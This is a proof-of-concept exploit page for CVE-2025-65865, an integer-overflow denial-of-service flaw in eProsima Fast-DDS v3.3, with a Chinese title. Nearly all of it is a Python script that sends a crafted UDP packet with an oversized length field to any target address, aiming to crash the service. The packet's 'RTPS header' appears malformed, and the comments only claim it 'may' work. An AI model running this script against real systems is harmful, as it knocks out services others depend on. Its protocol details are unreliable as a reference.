CVE-2025-65865 eProsima Fast-DDS v3.3 整数溢出拒绝服务漏洞

# CVE-2025-65865 PoC - Integer Overflow in eProsima Fast-DDS v3.3 # This PoC demonstrates sending a crafted DDS sample that triggers integer overflow import socket import struct import random def create_crafted_dds_sample(): """ Create a crafted DDS sample that may trigger integer overflow in Fast-DDS when processing certain length fields """ # DDS Header header = bytearray([ 0x00, 0x01, 0x00, 0x00, # RTPS Header 0x01, 0x00, # Protocol Version 0x00, # Vendor ID ]) # Crafted submessage with oversized length field # This may cause integer overflow in length calculations length_field = 0xFFFFFFF0 # Large value that may overflow submessage = bytearray([ 0x15, # Submessage ID (DATA) 0x00, # Flags ]) # Add length field that could trigger overflow submessage += struct.pack('<I', length_field) # Add additional crafted fields submessage += bytes([random.randint(0, 255) for _ in range(16)]) return bytes(header + submessage) def send_exploit(target_ip, target_port): """ Send the crafted exploit to target Fast-DDS service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_crafted_dds_sample() print(f"[*] Sending crafted packet ({len(payload)} bytes) to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") print("[*] If vulnerable, the service may crash or become unresponsive") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)